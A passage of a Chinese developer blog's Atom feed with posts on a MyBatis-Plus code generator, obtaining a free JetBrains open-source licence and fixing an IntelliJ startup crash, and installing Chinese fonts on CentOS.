class="line">        strategyConfig.setNaming(NamingStrategy.underline_to_camel);</span><br><span class="line">        strategyConfig.setColumnNaming(NamingStrategy.underline_to_camel);</span><br><span class="line">        strategyConfig.setEntityLombokModel(<span class="keyword">true</span>);</span><br><span class="line">        strategyConfig.setRestControllerStyle(<span class="keyword">true</span>);</span><br><span class="line">        <span class="comment">// 当表名中带*号时可以启用通配符模式</span></span><br><span class="line">        <span class="keyword">if</span> (tableNames.length == <span class="number">1</span> &amp;&amp; tableNames[<span class="number">0</span>].contains(<span class="string">&quot;*&quot;</span>)) &#123;</span><br><span class="line">            String[] likeStr = tableNames[<span class="number">0</span>].split(<span class="string">&quot;_&quot;</span>);</span><br><span class="line">            String likePrefix = likeStr[<span class="number">0</span>] + <span class="string">&quot;_&quot;</span>;</span><br><span class="line">            strategyConfig.setLikeTable(<span class="keyword">new</span> LikeTable(likePrefix));</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            strategyConfig.setInclude(tableNames);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">// 自动填充时间字段</span></span><br><span class="line">        List&lt;TableFill&gt; tableFillList = <span class="keyword">new</span> ArrayList&lt;&gt;();</span><br><span class="line">        tableFillList.add(<span class="keyword">new</span> TableFill(<span class="string">&quot;create_time&quot;</span>, FieldFill.INSERT));</span><br><span class="line">        tableFillList.add(<span class="keyword">new</span> TableFill(<span class="string">&quot;update_time&quot;</span>, FieldFill.INSERT_UPDATE));</span><br><span class="line">        strategyConfig.setTableFillList(tableFillList);</span><br><span class="line">        <span class="keyword">return</span> strategyConfig;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 自定义配置</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> projectPath</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> bizName</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span></span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="function"><span class="keyword">private</span> <span class="keyword">static</span> InjectionConfig <span class="title">buildInjectionConfig</span><span class="params">(String projectPath, String bizName)</span> </span>&#123;</span><br><span class="line">        <span class="comment">// 自定义配置</span></span><br><span class="line">        InjectionConfig injectionConfig = <span class="keyword">new</span> InjectionConfig() &#123;</span><br><span class="line">            <span class="meta">@Override</span></span><br><span class="line">            <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">initMap</span><span class="params">()</span> </span>&#123;</span><br><span class="line">                <span class="comment">// 可用于自定义属性</span></span><br><span class="line">            &#125;</span><br><span class="line">        &#125;;</span><br><span class="line">        <span class="comment">// 模板引擎是Velocity</span></span><br><span class="line">        String templatePath = <span class="string">&quot;/templates/mapper.xml.vm&quot;</span>;</span><br><span class="line">        <span class="comment">// 自定义输出配置</span></span><br><span class="line">        List&lt;FileOutConfig&gt; focList = <span class="keyword">new</span> ArrayList&lt;&gt;();</span><br><span class="line">        <span class="comment">// 自定义配置会被优先输出</span></span><br><span class="line">        focList.add(<span class="keyword">new</span> FileOutConfig(templatePath) &#123;</span><br><span class="line">            <span class="meta">@Override</span></span><br><span class="line">            <span class="function"><span class="keyword">public</span> String <span class="title">outputFile</span><span class="params">(TableInfo tableInfo)</span> </span>&#123;</span><br><span class="line">                <span class="comment">// 自定义输出文件名 ， 如果你 Entity 设置了前后缀、此处注意 xml 的名称会跟着发生变化！！</span></span><br><span class="line">                <span class="keyword">return</span> projectPath + <span class="string">&quot;mapper/src/main/resources/mapper/&quot;</span> + bizName</span><br><span class="line">                        + <span class="string">&quot;/&quot;</span> + tableInfo.getEntityName() + <span class="string">&quot;Mapper&quot;</span> + StringPool.DOT_XML;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;);</span><br><span class="line">        injectionConfig.setFileOutConfigList(focList);</span><br><span class="line">        <span class="keyword">return</span> injectionConfig;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>最后，我们直接运行这个java类，在控制台输入 业务模块名称 和 表名，点击回车即可生成。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h4 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h4&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;代码生成器，对于我们提升开发效率还是非常有价值的，快速生成代码和避免手误操作，能给我们减少了</summary>
      
    
    
    
    <category term="java" scheme="https://32e.co/categories/java/"/>
    
    
    <category term="mybatis-plus" scheme="https://32e.co/tags/mybatis-plus/"/>
    
    <category term="代码生成" scheme="https://32e.co/tags/%E4%BB%A3%E7%A0%81%E7%94%9F%E6%88%90/"/>
    
    <category term="mybatis-plus-generator" scheme="https://32e.co/tags/mybatis-plus-generator/"/>
    
  </entry>
  
  <entry>
    <title>开源项目申请JetBrains全家桶</title>
    <link href="https://32e.co/2020/09/16/open-source-license-JetBrains-request/"/>
    <id>https://32e.co/2020/09/16/open-source-license-JetBrains-request/</id>
    <published>2020-09-16T01:58:53.000Z</published>
    <updated>2020-11-06T11:08:43.000Z</updated>
    
    <content type="html"><![CDATA[<h4 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h4><p>&nbsp;&nbsp;&nbsp;&nbsp;作为码农，一款优秀的开发工具必不可少，但往往优秀的工具都是收费的[偷笑]，不过破解方法也是层出不穷，只要你耐心去找，也是能用上的，不过想及时跟进最新版本，用上新功能，那还是得走正版这条路。</p><p>&nbsp;&nbsp;&nbsp;&nbsp;我们通过本文来聊一聊如何通过开源项目免费申请正版工具的许可，有效期1年，到期后，如果项目仍然符合申请条件可以申请续期。</p><p>&nbsp;&nbsp;&nbsp;&nbsp;不得不给JetBrains公司点个赞，是个有态度的公司[点赞]，这是对开源社区最强有力的支持。</p><p>申请要求：一个正在维护开源项目的拥有者或核心提交，非商业用途，并积极维护3个月以上，具体要求参见：<a href="https://www.jetbrains.com/community/opensource/#support">Free License Programs</a></p><p>申请地址：<a href="https://www.jetbrains.com/shop/eform/opensource?product=ALL">https://www.jetbrains.com/shop/eform/opensource?product=ALL</a></p><h4 id="填写申请"><a href="#填写申请" class="headerlink" title="填写申请"></a>填写申请</h4><p>本文使用的开源项目：<a href="https://github.com/Ln-guolin/spring-boot-starter-cache">https://github.com/Ln-guolin/spring-boot-starter-cache</a></p><p>很简单，在申请站点按照要求，填写项目信息即可，示例：<br><img src="https://soilove.oss-cn-hangzhou.aliyuncs.com/32e/ci/open-source-license-JetBrains-request.jpeg" alt="申请示例"></p><p>提交完成后，你会收到一封邮件，告知你，他们将评估您的项目，审核时间可能需要1-2周，最后会通过邮件通知你。</p><h4 id="审核通过"><a href="#审核通过" class="headerlink" title="审核通过"></a>审核通过</h4><p>通过审核后，你会收到下面这封邮件，你可以通过此邮件中的链接或pdf，继续操作以获取许可。</p><p><img src="https://soilove.oss-cn-hangzhou.aliyuncs.com/32e/jetbrains/tongguo02.png" alt="审核通过"></p><h4 id="获取许可"><a href="#获取许可" class="headerlink" title="获取许可"></a>获取许可</h4><p>1，点击邮件中的 “Take me to my license(s)”，根据引导完成账号注册和确认。</p><p>2，访问<a href="https://account.jetbrains.com/licenses">https://account.jetbrains.com/licenses</a>查看发放的许可</p><p><img src="https://soilove.oss-cn-hangzhou.aliyuncs.com/32e/jetbrains/licenses.png" alt="许可"></p><p>3，下载许可文件</p><p>点击邮件中的 “Download activation code for offline usage” 下载许可</p><p>下载的是一个zip文件，解压后有1个2017.3之前的和2018.1及其以后版本的，按需使用即可：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">NXBW9FTR6J-root@soilove.cn.zip</span><br><span class="line">├── NXBW9FTR6J-root@soilove.cn-for 2017.3 or earlier.txt</span><br><span class="line">└── NXBW9FTR6J-root@soilove.cn-for 2018.1 or later.txt</span><br></pre></td></tr></table></figure><h4 id="使用许可"><a href="#使用许可" class="headerlink" title="使用许可"></a>使用许可</h4><p>我用产品是“IntelliJ IDEA”，在他们官网下载目前最新的版本2020.2，完成安装，然后在激活的地方，把发放的许可贴进去即可。</p><p>激活的时候选择：Activation code</p><p align="center">    <a href="#"><img src="https://soilove.oss-cn-hangzhou.aliyuncs.com/32e/jetbrains/new01.png" width="450px"></a></p><p>激活后的效果：</p><p align="center">    <a href="#"><img src="https://soilove.oss-cn-hangzhou.aliyuncs.com/32e/jetbrains/new02.png" width="450px"></a></p><p>其他-插件地址：<br><a href="https://plugins.jetbrains.com/">https://plugins.jetbrains.com/</a></p><h4 id="推广logo设置"><a href="#推广logo设置" class="headerlink" title="推广logo设置"></a>推广logo设置</h4><p>点击邮件中的“<a href="https://www.jetbrains.com/company/brand/logos/">our Logo</a>”获取avg图标，将其设置到github README.md，帮助jetbrains推广他们的产品。</p><h4 id="问题处理-闪退"><a href="#问题处理-闪退" class="headerlink" title="问题处理-闪退"></a>问题处理-闪退</h4><p>我之前安装的版本是mac“2019.2”，安装了一堆插件，突然升级到“2020.2”出现了闪退问题，按照下面的方式进行排查解决。</p><p><strong>1，命令行启动，查看日志</strong></p><p>路径：应用程序 &gt;&gt; IntelliJ IDEA.app &gt;&gt; 右键 显示包内容 &gt;&gt; Contents &gt;&gt; MacOS</p><p>点击可执行文件：idea</p><p>控制台输出：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">Last login: Sun Sep 27 23:37:00 on ttys001</span><br><span class="line">chenguolindeMacBook-Pro:~ chenguolin$ &#x2F;Applications&#x2F;IntelliJ\ IDEA.app&#x2F;Contents&#x2F;MacOS&#x2F;idea ; exit;</span><br><span class="line">2020-09-27 23:37:09.131 idea[30950:931173] allVms required 1.8*,1.8+</span><br><span class="line">2020-09-27 23:37:09.133 idea[30950:931176] Current Directory: &#x2F;Users&#x2F;chenguolin</span><br><span class="line">2020-09-27 23:37:09.134 idea[30950:931176] Value of IDEA_VM_OPTIONS is (null)</span><br><span class="line">2020-09-27 23:37:09.134 idea[30950:931176] Processing VMOptions file at &#x2F;Users&#x2F;chenguolin&#x2F;Library&#x2F;Application Support&#x2F;JetBrains&#x2F;IntelliJIdea2020.2&#x2F;idea.vmoptions</span><br><span class="line">2020-09-27 23:37:09.134 idea[30950:931176] Done</span><br><span class="line">OpenJDK 64-Bit Server VM warning: Option UseConcMarkSweepGC was deprecated in version 9.0 and will likely be removed in a future release.</span><br><span class="line">Error opening zip file or JAR manifest missing : ..&#x2F;bin&#x2F;jetbrains-agent.jar</span><br><span class="line">Error occurred during initialization of VM</span><br><span class="line">agent library failed to init: instrument</span><br><span class="line">logout</span><br><span class="line">Saving session...</span><br><span class="line">...copying shared history...</span><br><span class="line">...saving history...truncating history files...</span><br><span class="line">...completed.</span><br><span class="line"></span><br><span class="line">[进程已完成]</span><br></pre></td></tr></table></figure><p><strong>2，解决问题</strong></p><p>从控制台输出的内容看，好像是设置有些问题，我直接将JetBrains的相关设置全部清空，然后重新启动即可。</p><p>删除下面2个目录下所有与 jetbrains 和 旗下工具 相关的文件</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&#x2F;Users&#x2F;chenguolin&#x2F;Library&#x2F;Application Support</span><br><span class="line">&#x2F;Users&#x2F;chenguolin&#x2F;Library&#x2F;Preferences</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;h4 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h4&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;作为码农，一款优秀的开发工具必不可少，但往往优秀的工具都是收费的[偷笑]，不过破解方法也是层</summary>
      
    
    
    
    <category term="工具" scheme="https://32e.co/categories/%E5%B7%A5%E5%85%B7/"/>
    
    
    <category term="JetBrains" scheme="https://32e.co/tags/JetBrains/"/>
    
    <category term="开源项目" scheme="https://32e.co/tags/%E5%BC%80%E6%BA%90%E9%A1%B9%E7%9B%AE/"/>
    
  </entry>
  
  <entry>
    <title>Centos安装中文字体</title>
    <link href="https://32e.co/2020/09/15/linux-fonts/"/>
    <id>https://32e.co/2020/09/15/linux-fonts/</id>
    <published>2020-09-14T16:59:55.000Z</published>
    <updated>2020-09-17T09:28:52.000Z</updated>
    
    <content type="html"><![CDATA[<h4 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h4><p>&nbsp;&nbsp;&nbsp;&nbsp;我们使用的Centos系统，默认情况下是没有安装中文字体的，所以如果你在代码中使用Graphics2D绘制中文，那必然会因为系统缺少字体而导致出现乱码的情况。<br>&nbsp;&nbsp;&nbsp;&nbsp;所以我们需要在系统上安装对应的字体来解决这个问题，本文以宋体为例。</p><p>字体下载：</p><ul><li><a href="https://soilove.oss-cn-hangzhou.aliyuncs.com/32e/linux/simsun.ttc">点击下载宋体-字体文件simsun.ttc</a></li></ul><p>注：其他字体可以到网上搜索下载，或Windows系统的字体目录下拷贝（C:\Windows\Fonts）</p><h4 id="安装步骤"><a href="#安装步骤" class="headerlink" title="安装步骤"></a>安装步骤</h4><h5 id="安装字体库和索引信息"><a href="#安装字体库和索引信息" class="headerlink" title="安装字体库和索引信息"></a>安装字体库和索引信息</h5><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">yum -y install fontconfig ttmkfdir mkfontscale</span><br></pre></td></tr></table></figure><h5 id="创建目录，上传字体文件"><a href="#创建目录，上传字体文件" class="headerlink" title="创建目录，上传字体文件"></a>创建目录，上传字体文件</h5><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">mkdir -p /usr/share/fonts/chinese</span><br><span class="line"><span class="built_in">cd</span> /usr/share/fonts/chinese</span><br></pre></td></tr></table></figure><p>注：创建chinese文件夹，并上传字体文件到此目录</p><h5 id="生成字体库索引信息"><a href="#生成字体库索引信息" class="headerlink" title="生成字体库索引信息"></a>生成字体库索引信息</h5><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">mkfontscale</span><br><span class="line">mkfontdir</span><br></pre></td></tr></table></figure><p>注：在路径/usr/share/fonts/chinese下执行上面的这两条命令</p><h5 id="更新字体缓存"><a href="#更新字体缓存" class="headerlink" title="更新字体缓存"></a>更新字体缓存</h5><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">fc-cache</span><br></pre></td></tr></table></figure><h5 id="查看字体安装情况"><a href="#查看字体安装情况" class="headerlink" title="查看字体安装情况"></a>查看字体安装情况</h5><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">fc-list :lang=zh</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;h4 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h4&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;我们使用的Centos系统，默认情况下是没有安装中文字体的，所以如果你在代码中使用Graph</summary>
      
    
    
    
    <category term="linux" scheme="https://32e.co/categories/linux/"/>
    
    
    <category term="字体" scheme="https://32e.co/tags/%E5%AD%97%E4%BD%93/"/>
    
  </entry>
  
</feed>
